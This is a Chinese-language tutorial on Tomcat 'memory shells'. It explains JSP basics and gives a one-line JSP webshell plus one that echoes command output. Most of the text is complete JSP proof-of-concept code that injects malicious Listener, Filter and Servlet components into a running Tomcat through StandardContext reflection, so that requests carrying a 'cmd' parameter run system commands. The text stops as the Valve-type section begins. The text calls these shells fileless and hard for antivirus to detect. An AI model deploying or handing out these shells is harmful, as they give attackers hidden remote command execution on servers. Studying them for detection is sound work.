参考文章 题目用到的代码地址
内存马的分类
解释一下servlet
就是大致分为这四种 下面会依次讲到
这里的话先了解一下 JSP 是什么
JSP JSP简介 这里主要了解一下 JSP 的语法
JSP(Java Server Pages),是Java的一种动态网页技术。在早期Java的开发技术中,Java程序员如果想要向浏览器输出一些数据,就必须得手动println一行行的HTML代码。为了解决这一繁琐的问题,Java开发了JSP技术。
JSP可以看作一个Java Servlet,主要用于实现Java web应用程序的用户界面部分。网页开发者们通过结合HTML代码、XHTML代码、XML元素以及嵌入JSP操作和命令来编写JSP。
当第一次访问JSP页面时,Tomcat服务器会将JSP页面翻译成一个java文件,并将其编译为.class文件。JSP通过网页表单获取用户输入数据、访问数据库及其他数据源,然后动态地创建网页。
JSP语法 脚本程序 脚本程序可以包含任意量的Java语句、变量、方法或表达式 ,只要它们在脚本语言中是有效的。脚本程序的格式如下
其等价与下面的XML语句
1 2 3 <jsp:scriptlet > 代码片段 </jsp:scriptlet >
下面是使用实例
1 2 3 4 5 6 <html> <body> <h2>Hello World!</h2> <% out.println("success" );%> </body> </html>
JSP声明 一个声明语句可以声明一个或多个变量、方法 ,供后面的Java代码使用。JSP声明语句格式如下
等同于下面的XML语句
1 2 3 <jsp:declaration > 代码片段 </jsp:declaration >
下面是使用示例
1 2 3 4 5 6 7 <html> <body> <h2>Hello World!</h2> <%! String s = "success" ; <% out.println("s" );%> </body> </html>
JSP表达式 如果JSP表达式中为一个对象,则会自动调用其toString()方法。格式如下,注意表达式后没有;
等价于下面的XML表达式
1 2 3 <jsp:expression > 表达式 </jsp:expression >
下面是使用示例
1 2 3 4 5 6 7 8 9 <html> <body> <h2>Hello World!!!</h2> <p> <% String name = "Feng" ; %> username:<%=name%> </p> </body> </html>
JSP指令 JSP指令用来设置与整个JSP页面相关的属性。下面有三种JSP指令
指令
描述
<%@ page … %>
定义页面的依赖属性,比如脚本语言、error页面、缓存需求等等
<%@ include … %>
包含其他文件
<%@ taglib … %>
引入标签库的定义,可以是自定义标签
比如我们能通过page指令来设置jsp页面的编码格式
1 <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %>
使用示例
1 2 3 4 5 6 7 8 9 10 <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %> <html> <body> <h2>Hello World!!!</h2> <p> <% String name = "林" ; %> 用户名:<%=name%> </p> </body> </html>
JSP注释 格式
JSP内置对象 JSP有九大内置对象,他们能够在客户端和服务器端交互的过程中分别完成不同的功能。其特点如下
由 JSP 规范提供,不用编写者实例化
通过 Web 容器实现和管理
所有 JSP 页面均可使用
只有在脚本元素的表达式或代码段中才能使用
对象
类型
描述
request
javax.servlet.http.HttpServletRequest
获取用户请求信息
response
javax.servlet.http.HttpServletResponse
响应客户端请求,并将处理信息返回到客户端
response
javax.servlet.jsp.JspWriter
输出内容到 HTML 中
session
javax.servlet.http.HttpSession
用来保存用户信息
application
javax.servlet.ServletContext
所有用户共享信息
config
javax.servlet.ServletConfig
这是一个 Servlet 配置对象,用于 Servlet 和页面的初始化参数
pageContext
javax.servlet.jsp.PageContext
JSP 的页面容器,用于访问 page、request、application 和 session 的属性
page
javax.servlet.jsp.HttpJspPage
类似于 Java 类的 this 关键字,表示当前 JSP 页面
exception
java.lang.Throwable
该对象用于处理 JSP 文件执行时发生的错误和异常;只有在 JSP 页面的 page 指令中指定 isErrorPage 的取值 true 时,才可以在本页面使用 exception 对象
Java木马 我们先来看看传统的JSP木马是如何实现的
1 <% Runtime.getRuntime().exec(request.getParameter("cmd" ));%>
上面是最简单的一句话木马,没有回显,适合用来反弹shell。下面是一个带回显的JSP木马
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <%@ page contentType="text/html;charset=UTF-8" language="java" %> <% if (request.getParameter("cmd" )!=null ){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd" )).getInputStream(); BufferedReader bufferedReader = new BufferedReader (new InputStreamReader (in)); String line; PrintWriter printWriter = response.getWriter(); printWriter.write("<pre>" ); while ((line = bufferedReader.readLine()) != null ){ printWriter.println(line); } printWriter.write("</pre>" ); } %>
这就是上面代码的含义
传统的JSP木马特征性强,且需要文件落地,容易被查杀。因此现在出现了内存马技术。Java内存马又称”无文件马”,相较于传统的JSP木马,其最大的特点就是无文件落地,存在于内存之中,隐蔽性强。
Tomcat中的三种Context 这里的话就不跟着上面的文章写了
直接看总结就行了
直接用一张图来展示这三者的关系
这三者是我们在学习内存马的时候会经常遇到的
ServletContext接口的实现类为ApplicationContext类和ApplicationContextFacade类,其中ApplicationContextFacade是对ApplicationContext类的包装。我们对Context容器中各种资源进行操作时,最终调用的还是StandardContext中的方法,因此StandardContext是Tomcat中负责与底层交互的Context。
Tomcat内存马 在学习下面三种类型的内存马的时候可以看看这篇文章 因为这篇文章很好的解释了下面三者的含义
tomcat详解
Tomcat内存马大致可以分为三类,分别是Listener型、Filter型、Servlet型。可能有些朋友会发现,这不正是Java Web核心的三大组件嘛!没错,Tomcat内存马的核心原理就是动态地将恶意组件添加到正在运行的Tomcat服务器中。
而这一技术的实现有赖于官方对Servlet3.0的升级,Servlet在3.0版本之后能够支持动态注册组件。而Tomcat直到7.x才支持Servlet3.0,因此通过动态添加恶意组件注入内存马的方式适合Tomcat7.x及以上。为了便于调试Tomcat,我们先在父项目的pom文件中引入Tomcat依赖
1 2 3 4 5 <dependency > <groupId > org.apache.tomcat</groupId > <artifactId > tomcat-catalina</artifactId > <version > 9.0.55</version > </dependency >
这里的使用的文件直接就是文章开头的github地址用的 下载下来导入就行了
Listener型 根据以上思路,我们的目标就是在服务器中动态注册一个恶意的Listener。而Listener根据事件源的不同,大致可以分为如下三种
ServletContextListener
HttpSessionListener
ServletRequestListener
很明显,ServletRequestListener是最适合用来作为内存马的。因为ServletRequestListener是用来监听ServletRequest对象的,当我们访问任意资源时,都会触发ServletRequestListener#requestInitialized()方法。下面我们来实现一个恶意的Listener
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 package Listener;import javax.servlet.ServletRequestEvent;import javax.servlet.ServletRequestListener;import javax.servlet.annotation.WebListener;import javax.servlet.http.HttpServletRequest;import java.io.IOException;@WebListener public class Shell_Listener implements ServletRequestListener { @Override public void requestInitialized (ServletRequestEvent sre) { HttpServletRequest request = (HttpServletRequest) sre.getServletRequest(); String cmd=request.getParameter("cmd" ); try { Runtime.getRuntime().exec(cmd); } catch (IOException e) { e.printStackTrace(); }catch (NullPointerException n){ n.printStackTrace(); } } @Override public void requestDestroyed (ServletRequestEvent sre) { } }
这里的话模拟动态注册进去的Listener内存马 (等会我们分析完这个流程就会重新动态的导入一个内存马,并把上面的这个代码给注释掉 )
给这里下个断点 然后debug一下 得到他的利用栈
分析这个利用栈
StandardContext#fireRequestInitEvent调用了我们的Listener,我们跟进看其实现
关键代码有两处,首先通过getApplicationEventListeners()获取一个Listener数组,然后遍历数组调用listener.requestInitialized(event)方法触发Listener。跟进getApplicationEventListeners()方法
这里的获取这个Listener就是关键了 因为就是我们就是恶意构造一个Listener传进去 然后让其获取加载(不出意外的话继续找下去能找到添加Listener的地方 )
可以看到Listener实际上是存储在applicationEventListenersList 属性中的
并且我们可以通过StandardContext#addApplicationEventListener()方法来添加Listener
看到这里的话就和我们刚开始添加的这个Listener联系到一起了
实际情况中是没有它的 现在我们分析利用链 分析到了这个添加listener的地方
所以我们就得想办法构造恶意的listener来添加进去了
获取StandardContext类 下面的工作就是获取StandardContext类了,在StandardHostValve#invoke中,可以看到其通过request对象来获取StandardContext类
同样地,由于JSP内置了request对象,我们也可以使用同样的方式来获取
(一共内置了9个对象 request是其中一个)
所以获取StandardContext的方法是
1 2 3 4 5 6 <% Field reqF = request.getClass().getDeclaredField("request" ); reqF.setAccessible(true ); Request req = (Request) reqF.get(request); StandardContext context = (StandardContext) req.getContext(); %>
这里的request是 HttpServletRequest 类的对象
先是获取了request对象里面的request属性 然后将该属性设置为可访问
在此行中通过调用该引用上的 get() 方法来获取实际存储在 “request” 字段中的值,并将其强制转换为类型 Request 并赋值给名为 req 的变量(为什么要用这个Request类型 图片上有标注 )
然后就能获取到StandardContext 了
1 2 3 4 <% WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext(); %>
这是另一种获取StandardContext的方法
接下来我们就可以来构造poc了
先编写一个恶意的Listener
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <%! public class Shell_Listener implements ServletRequestListener { public void requestInitialized (ServletRequestEvent sre) { HttpServletRequest request = (HttpServletRequest) sre.getServletRequest(); String cmd = request.getParameter("cmd" ); if (cmd != null ) { try { Runtime.getRuntime().exec(cmd); } catch (IOException e) { e.printStackTrace(); } catch (NullPointerException n) { n.printStackTrace(); } } } public void requestDestroyed (ServletRequestEvent sre) { } } %>
然后添加监听器
1 2 3 4 <% Shell_Listener shell_Listener = new Shell_Listener (); context.addApplicationEventListener(shell_Listener); %>
这里的context是上面获取的StandardContext
完整POC
获取StandardContext上下文
实现一个恶意Listener
通过StandardContext#addApplicationEventListener方法添加恶意Listener
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import ="java.lang.reflect.Field" %> <%@ page import ="java.io.IOException" %> <%@ page import ="org.apache.catalina.core.StandardContext" %> <%@ page import ="org.apache.catalina.connector.Request" %> <%! public class Shell_Listener implements ServletRequestListener { public void requestInitialized (ServletRequestEvent sre) { HttpServletRequest request = (HttpServletRequest) sre.getServletRequest(); String cmd = request.getParameter("cmd" ); if (cmd != null ) { try { Runtime.getRuntime().exec(cmd); } catch (IOException e) { e.printStackTrace(); } catch (NullPointerException n) { n.printStackTrace(); } } } public void requestDestroyed (ServletRequestEvent sre) { } } %> <% Field reqF = request.getClass().getDeclaredField("request" ); reqF.setAccessible(true ); Request req = (Request) reqF.get(request); StandardContext context = (StandardContext) req.getContext(); Shell_Listener shell_Listener = new Shell_Listener (); context.addApplicationEventListener(shell_Listener); %>
将上面的代码连起来解释就是
这里是先获取这个到这个StandardContext 这个类 然后通过这个类里的addApplicationEventListener来添加我们的恶意Listener
然后添加成功后,这个servlet的Listener就会处理我们的http请求 然后如果传进来cmd的恶意参数的话就会执行
然后访问Listener.jsp将恶意Listener写入服务器
然后直接执行就行了
Filter型 这里解释一下这个Filter是个什么东西
它在java中是起到一个过滤器的作用,就是无论用户访问哪个具体的路径,都会被该过滤器所拦截和处理,然后它将对所有进入应用程序的请求起作用。它可以执行一些预处理或后处理操作,并决定是否继续传递请求给下一个组件(如Servlet)
(这就是为什么可以当内存马的原因了 因为自身也可以对http请求进行预处理)
仿照Listener型内存马的实现思路,我们同样能实现Filter型内存马。我们知道,在Servlet容器中,Filter的调用是通过FilterChain实现的
和Listener一样 最后都是会调用某一个特定的方法
这里是调用这个doFilter() 方法
先来实现一个恶意的Filter
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 package Filter; import javax.servlet.*;import javax.servlet.annotation.WebFilter;import java.io.IOException; @WebFilter("/*") public class Shell_Filter implements Filter { @Override public void doFilter (ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { String cmd = request.getParameter("cmd" ); if (cmd != null ) { try { Runtime.getRuntime().exec(cmd); } catch (IOException e) { e.printStackTrace(); } catch (NullPointerException n) { n.printStackTrace(); } } chain.doFilter(request, response); } }
这里的话我们在这个doFilter处打上断点
得到调用栈
跟进ApplicationFilterChain#internalDoFilter
调用了filter.doFilter(),而filter是通过filterConfig.getFilter()得到的,filterConfig定义如下
我们知道,一个filterConfig对应一个Filter,用于存储Filter的上下文信息。这里的filters 属性是一个ApplicationFilterConfig数组。我们来寻找一下ApplicationFilterChain.filters 属性在哪里被赋值。
这里的话看调用栈就能找到了
在StandardWrapperValve#invoke这个方法里面
跟进这个ApplicationFilterFactory#createFilterChain 函数
通过这个函数 我们可以清晰的来分析这个filterChain的创建过程
首先通过filterChain = new ApplicationFilterChain()创建一个空的filterChain对象
然后通过wrapper.getParent()函数来获取StandardContext对象
接着获取StandardContext中的FilterMaps对象,FilterMaps对象中存储的是各Filter的名称路径等信息
最后根据Filter的名称,在StandardContext中获取FilterConfig
通过filterChain.addFilter(filterConfig)将一个filterConfig添加到filterChain中
跟进这个ApplicationFilterChain#addFilter方法
这里就可以看到filters被赋值的过程
这样的话我们就可以控制调用谁的doFilter()方法了
所以关键就是将恶意Filter的信息添加进FilterConfig数组中,这样Tomcat在启动时就会自动初始化我们的恶意Filter。
FilterConfig、FilterDef和FilterMaps 虽然filterConfig的赋值方法找到了 但是通过赋值的过程中 还是会用到
FilterDef和FilterMaps的
跟进到createFilterChain函数中,我们能看到此时的上下文对象StandardContext实际上是包含了这三者的
filterConfigs 其中filterConfigs包含了当前的上下文信息StandardContext、以及filterDef等信息
其中filterDef存放了filter的定义,包括filterClass、filterName等信息。对应的其实就是web.xml中的<filter>标签。
1 2 3 4 <filter > <filter-name > </filter-name > <filter-class > </filter-class > </filter >
可以看到,filterDef必要的属性为filter、filterClass以及filterName。
filterDefs
filterDefs是一个HashMap,以键值对的形式存储filterDef
filterMaps filterMaps中以array的形式存放各filter的路径映射信息,其对应的是web.xml中的<filter-mapping>标签
1 2 3 4 <filter-mapping > <filter-name > </filter-name > <url-pattern > </url-pattern > </filter-mapping >
filterMaps必要的属性为dispatcherMapping、filterName、urlPatterns
于是下面的工作就是构造含有恶意filter的FilterMaps和FilterConfig对象,并将FilterConfig添加到filter链中了。
动态注册Filter 经过上面的分析,我们可以总结出动态添加恶意Filter的思路
获取StandardContext对象
(因为要构造那三种filter 都需要StandardContext StandardContext包含了那三种filter)
创建恶意Filter
因为最后是要控制filter的值为我们构造的恶意Filter类
使用FilterDef对Filter进行封装,并添加必要的属性
因为value是FilterDef的 然后还得添加下面的属性
创建filterMap类,并将路径和Filtername绑定,然后将其添加到filterMaps中
这里就是上面新建FilterMap的原因 还有传name和path的原因
使用ApplicationFilterConfig封装filterDef,然后将其添加到filterConfigs中
其实上面的这五个步骤得来的原因都可以追述到前面写的记录 都是先进行逐步分析 然后才得出最终步骤的
第一步————-获取StandardContext对象 StandardContext对象主要用来管理Web应用的一些全局资源,如Session、Cookie、Servlet等。因此我们有很多方法来获取StandardContext对象。
Tomcat在启动时会为每个Context都创建个ServletContext对象,来表示一个Context,从而可以将ServletContext转化为StandardContext。
1 2 3 4 5 6 7 8 9 10 11 12 ServletContext servletContext = request.getSession().getServletContext(); Field appContextField = servletContext.getClass().getDeclaredField("context" );appContextField.setAccessible(true ); ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext); Field standardContextField = applicationContext.getClass().getDeclaredField("context" );standardContextField.setAccessible(true ); StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
上述的代码就是根据这一块来写的 从启动时tomcat自动创建的ServletContext开始 然后一步一步引导到StandardContext
第二步—————创建恶意Filter 1 2 3 4 5 6 7 8 9 10 11 12 13 public class Shell_Filter implements Filter { public void doFilter (ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { String cmd=request.getParameter("cmd" ); try { Runtime.getRuntime().exec(cmd); } catch (IOException e) { e.printStackTrace(); }catch (NullPointerException n){ n.printStackTrace(); } } }
第三步———————使用FilterDef封装filter 1 2 3 4 5 6 7 String name = "CommonFilter" ;FilterDef filterDef = new FilterDef ();filterDef.setFilter(filter); filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName()); standardContext.addFilterDef(filterDef);
第四步————————创建filterMap filterMap用于filter和路径的绑定
1 2 3 4 5 FilterMap filterMap = new FilterMap ();filterMap.addURLPattern("/*" ); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap);
第五步—————-封装filterConfig及filterDef到filterConfigs 封装filterConfig及filterDef到filterConfigs
1 2 3 4 5 6 7 8 Field Configs = standardContext.getClass().getDeclaredField("filterConfigs" );Configs.setAccessible(true ); Map filterConfigs = (Map) Configs.get(standardContext); Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);constructor.setAccessible(true ); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);filterConfigs.put(name, filterConfig);
完整POC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 <%@ page import ="java.io.IOException" %> <%@ page import ="java.lang.reflect.Field" %> <%@ page import ="org.apache.catalina.core.ApplicationContext" %> <%@ page import ="org.apache.catalina.core.StandardContext" %> <%@ page import ="org.apache.tomcat.util.descriptor.web.FilterDef" %> <%@ page import ="org.apache.tomcat.util.descriptor.web.FilterMap" %> <%@ page import ="java.lang.reflect.Constructor" %> <%@ page import ="org.apache.catalina.core.ApplicationFilterConfig" %> <%@ page import ="org.apache.catalina.Context" %> <%@ page import ="java.util.Map" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <% ServletContext servletContext = request.getSession().getServletContext(); Field appContextField = servletContext.getClass().getDeclaredField("context" ); appContextField.setAccessible(true ); ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext); Field standardContextField = applicationContext.getClass().getDeclaredField("context" ); standardContextField.setAccessible(true ); StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext); %> <%! public class Shell_Filter implements Filter { public void doFilter (ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { String cmd = request.getParameter("cmd" ); if (cmd != null ) { try { Runtime.getRuntime().exec(cmd); } catch (IOException e) { e.printStackTrace(); } catch (NullPointerException n) { n.printStackTrace(); } } chain.doFilter(request, response); } } %> <% Shell_Filter filter = new Shell_Filter (); String name = "CommonFilter" ; FilterDef filterDef = new FilterDef (); filterDef.setFilter(filter); filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName()); standardContext.addFilterDef(filterDef); FilterMap filterMap = new FilterMap (); filterMap.addURLPattern("/*" ); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap); Field Configs = standardContext.getClass().getDeclaredField("filterConfigs" ); Configs.setAccessible(true ); Map filterConfigs = (Map) Configs.get(standardContext); Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class); constructor.setAccessible(true ); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef); filterConfigs.put(name, filterConfig); %>
先运行Listener.jsp 然后将内存马写入 然后就可以直接访问了
Servlet型 Servlet创建流程 我们知道Servlet的生命周期分为如下五部分
加载:当Tomcat第一次访问Servlet的时候,Tomcat会负责创建Servlet的实例
初始化:当Servlet被实例化后,Tomcat会调用init()方法初始化这个对象
处理服务:当浏览器访问Servlet的时候,Servlet 会调用service()方法处理请求
销毁:当Tomcat关闭时或者检测到Servlet要从Tomcat删除的时候会自动调用destroy()方法,让该实例释放掉所占的资源。一个Servlet如果长时间不被使用的话,也会被Tomcat自动销毁
卸载:当Servlet调用完destroy()方法后,等待垃圾回收。如果有需要再次使用这个Servlet,会重新调用init()方法进行初始化操作
在org.apache.catalina.core.StandardContext类的startInternal()方法中,我们能看到Listener->Filter->Servlet的加载顺序
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 ... if (ok) { if (!listenerStart()) { log.error(sm.getString("standardContext.listenerFail" )); ok = false ; } } try { Manager manager = getManager(); if (manager instanceof Lifecycle) { ((Lifecycle) manager).start(); } } catch (Exception e) { log.error(sm.getString("standardContext.managerFail" ), e); ok = false ; } if (ok) { if (!filterStart()) { log.error(sm.getString("standardContext.filterFail" )); ok = false ; } } if (ok) { if (!loadOnStartup(findChildren())){ log.error(sm.getString("standardContext.servletFail" )); ok = false ; } } super .threadStart(); }if (ok) { if (!listenerStart()) { log.error(sm.getString("standardContext.listenerFail" )); ok = false ; } } try { Manager manager = getManager(); if (manager instanceof Lifecycle) { ((Lifecycle) manager).start(); } } catch (Exception e) { log.error(sm.getString("standardContext.managerFail" ), e); ok = false ; } if (ok) { if (!filterStart()) { log.error(sm.getString("standardContext.filterFail" )); ok = false ; } } if (ok) { if (!loadOnStartup(findChildren())){ log.error(sm.getString("standardContext.servletFail" )); ok = false ; } } super .threadStart(); } ...
创建StandardWrapper 在StandardContext#startInternal中,调用了fireLifecycleEvent()方法解析web.xml文件,我们跟进
最终通过ContextConfig#webConfig()方法解析web.xml获取各种配置参数
然后通过configureContext(webXml)方法创建StandWrapper对象,并根据解析参数初始化StandWrapper对象
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 private void configureContext (WebXml webxml) { context.setPublicId(webxml.getPublicId()); ... for (ServletDef servlet : webxml.getServlets().values()) { Wrapper wrapper = context.createWrapper(); if (servlet.getLoadOnStartup() != null ) { wrapper.setLoadOnStartup(servlet.getLoadOnStartup().intValue()); } if (servlet.getEnabled() != null ) { wrapper.setEnabled(servlet.getEnabled().booleanValue()); } wrapper.setName(servlet.getServletName()); Map<String,String> params = servlet.getParameterMap(); for (Entry<String, String> entry : params.entrySet()) { wrapper.addInitParameter(entry.getKey(), entry.getValue()); } wrapper.setRunAs(servlet.getRunAs()); Set<SecurityRoleRef> roleRefs = servlet.getSecurityRoleRefs(); for (SecurityRoleRef roleRef : roleRefs) { wrapper.addSecurityReference( roleRef.getName(), roleRef.getLink()); } wrapper.setServletClass(servlet.getServletClass()); ... wrapper.setOverridable(servlet.isOverridable()); context.addChild(wrapper); for (Entry<String, String> entry : webxml.getServletMappings().entrySet()) { context.addServletMappingDecoded(entry.getKey(), entry.getValue()); } } ... }
最后通过addServletMappingDecoded()方法添加Servlet对应的url映射
加载StandWrapper 接着在StandardContext#startInternal方法通过findChildren()获取StandardWrapper类
最后依次加载完Listener、Filter后,就通过loadOnStartUp()方法加载wrapper
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 public boolean loadOnStartup (Container children[]) { TreeMap<Integer, ArrayList<Wrapper>> map = new TreeMap <>(); for (Container child : children) { Wrapper wrapper = (Wrapper) child; int loadOnStartup = wrapper.getLoadOnStartup(); if (loadOnStartup < 0 ) { continue ; } Integer key = Integer.valueOf(loadOnStartup); ArrayList<Wrapper> list = map.get(key); if (list == null ) { list = new ArrayList <>(); map.put(key, list); } list.add(wrapper); } for (ArrayList<Wrapper> list : map.values()) { for (Wrapper wrapper : list) { try { wrapper.load(); }
注意这里对于Wrapper对象中loadOnStartup属性的值进行判断,只有大于0的才会被放入list进行后续的wrapper.load()加载调用。
这里对应的实际上就是Tomcat Servlet的懒加载机制,可以通过loadOnStartup属性值来设置每个Servlet的启动顺序。默认值为-1,此时只有当Servlet被调用时才加载到内存中。
动态注册Servlet 通过上文的分析我们能够总结出创建Servlet的流程
获取StandardContext对象
编写恶意Servlet
通过StandardContext.createWrapper()创建StandardWrapper对象
这里的StandardContext可控 所以直接就使用该方法来直接构造
设置StandardWrapper对象的loadOnStartup属性值
注意这里对于Wrapper对象中loadOnStartup属性的值进行判断,只有大于0的才会被放入list进行后续的wrapper.load()加载调用。
在创建这个对象的时候也会顺便创建这个值
设置StandardWrapper对象的ServletName属性值
这是在创建StandardWrapper的时候可以看到的
也是在创建这个StandardWrapper 的时候会赋值的
设置StandardWrapper对象的ServletClass属性值
也是在创建这个StandardWrapper 的时候会赋值的
将StandardWrapper对象添加进StandardContext对象的children属性中
也是在创建这个StandardWrapper 的时候会赋值的
通过StandardContext.addServletMappingDecoded()添加对应的路径映射
也是在创建这个StandardWrapper 的时候会赋值的
这里的步骤都是基于上面的分析 在这个创建StandardWrapper的方法中都可以看到是对上述参数的赋值
获取StandardContext对象 这里的获取StandardContext的方法多种多样 在上面的两种内存马类型都能看到了
1 2 3 4 5 6 <% Field reqF = request.getClass().getDeclaredField("request" ); reqF.setAccessible(true ); Request req = (Request) reqF.get(request); StandardContext standardContext = (StandardContext) req.getContext(); %>
或者
1 2 3 4 5 6 7 8 9 <% ServletContext servletContext = request.getSession().getServletContext(); Field appContextField = servletContext.getClass().getDeclaredField("context" ); appContextField.setAccessible(true ); ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext); Field standardContextField = applicationContext.getClass().getDeclaredField("context" ); standardContextField.setAccessible(true ); StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext); %>
编写恶意Servlet 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 <%! public class Shell_Servlet implements Servlet { @Override public void init (ServletConfig config) throws ServletException { } @Override public ServletConfig getServletConfig () { return null ; } @Override public void service (ServletRequest req, ServletResponse res) throws ServletException, IOException { String cmd = req.getParameter("cmd" ); if (cmd !=null ){ try { Runtime.getRuntime().exec(cmd); }catch (IOException e){ e.printStackTrace(); }catch (NullPointerException n){ n.printStackTrace(); } } } @Override public String getServletInfo () { return null ; } @Override public void destroy () { } } %>
创建Wrapper对象 1 2 3 4 5 6 7 8 9 10 <% Shell_Servlet shell_servlet = new Shell_Servlet (); String name = shell_servlet.getClass().getSimpleName(); Wrapper wrapper = standardContext.createWrapper(); wrapper.setLoadOnStartup(1 ); wrapper.setName(name); wrapper.setServlet(shell_servlet); wrapper.setServletClass(shell_servlet.getClass().getName()); %>
将Wrapper添加进StandardContext 1 2 3 4 <% standardContext.addChild(wrapper); standardContext.addServletMappingDecoded("/shell" ,name); %>
完整POC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 <%@ page import ="java.lang.reflect.Field" %> <%@ page import ="org.apache.catalina.core.StandardContext" %> <%@ page import ="org.apache.catalina.connector.Request" %> <%@ page import ="java.io.IOException" %> <%@ page import ="org.apache.catalina.Wrapper" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <% Field reqF = request.getClass().getDeclaredField("request" ); reqF.setAccessible(true ); Request req = (Request) reqF.get(request); StandardContext standardContext = (StandardContext) req.getContext(); %> <%! public class Shell_Servlet implements Servlet { @Override public void init (ServletConfig config) throws ServletException { } @Override public ServletConfig getServletConfig () { return null ; } @Override public void service (ServletRequest req, ServletResponse res) throws ServletException, IOException { String cmd = req.getParameter("cmd" ); if (cmd !=null ){ try { Runtime.getRuntime().exec(cmd); }catch (IOException e){ e.printStackTrace(); }catch (NullPointerException n){ n.printStackTrace(); } } } @Override public String getServletInfo () { return null ; } @Override public void destroy () { } } %> <% Shell_Servlet shell_servlet = new Shell_Servlet (); String name = shell_servlet.getClass().getSimpleName(); Wrapper wrapper = standardContext.createWrapper(); wrapper.setLoadOnStartup(1 ); wrapper.setName(name); wrapper.setServlet(shell_servlet); wrapper.setServletClass(shell_servlet.getClass().getName()); %> <% standardContext.addChild(wrapper); standardContext.addServletMappingDecoded("/shell" ,name); %>
这里的POC就和上面的分析步骤一模一样
先将原本的Shell_Servlet.java给注释掉 然后写入Servlet.jsp 然后进行访问
然后访问/shell路由 然后直接cmd执行命令
Valve型 在了解Valve之前,我们先来简单了解一下Tomcat中的管道机制。
我们知道,当Tomcat接收到客户端请求时,首先会使用Connector进行解析,然后发送到Container进行处理。那么我们的消息又是怎么在四类子容器中层层传递,最终送到Servlet进行处理的呢?这里涉及到的机制就是Tomcat管道机制。
管道机制主要涉及到两个名词,Pipeline(管道)和Valve(阀门)。如果我们把请求比作管道(Pipeline)中流动的水,那么阀门(Valve)就可以用来在管道中实现各种功能,如控制流速等。因此通过管道机制,我们能按照需求,给在不同子容器中流通的请求添加各种不同的业务逻辑,并提前在不同子容器中完成相应的逻辑操作。这里的调用流程可以类比为Filter中的责任链机制
在Tomcat中,四大组件Engine、Host、Context以及Wrapper都有其对应的Valve类,StandardEngineValve、StandardHostValve、StandardContextValve以及StandardWrapperValve,他们同时维护一个StandardPipeline实例。
这里的话还是可以参考这篇文章 关于tomcat是怎么运行处理的客户端传进的信息的
管道机制流程分析 我们先来看看Pipeline接口,继承了Contained接口
Pipeline接口提供了各种对Valve的操作方法,如我们可以通过addValve()方法来添加一个Valve。下面我们再来看看Valve接口
其中getNext()方法可以用来获取下一个Valve,Valve的调用过程可以理解成类似Filter中的责任链模式,按顺序调用。
同时Valve可以通过重写invoke()方法来实现具体的业务逻辑
1 2 3 4 5 6 7 8 class Shell_Valve extends ValveBase { @Override public void invoke (Request request, Response response) throws IOException, ServletException { ... } } }
下面我们通过源码看一看,消息在容器之间是如何传递的。首先消息传递到Connector被解析后,在org.apache.catalina.connector.CoyoteAdapter#service方法中
前面是对Request和Respone对象进行一些判断及创建操作,我们重点来看一下connector.getService().getContainer().getPipeline().getFirst().invoke(request, response)
首先通过connector.getService()来获取一个StandardService对象
接着通过StandardService.getContainer().getPipeline()获取StandardPipeline对象。
再通过StandardPipeline.getFirst()获取第一个Valve
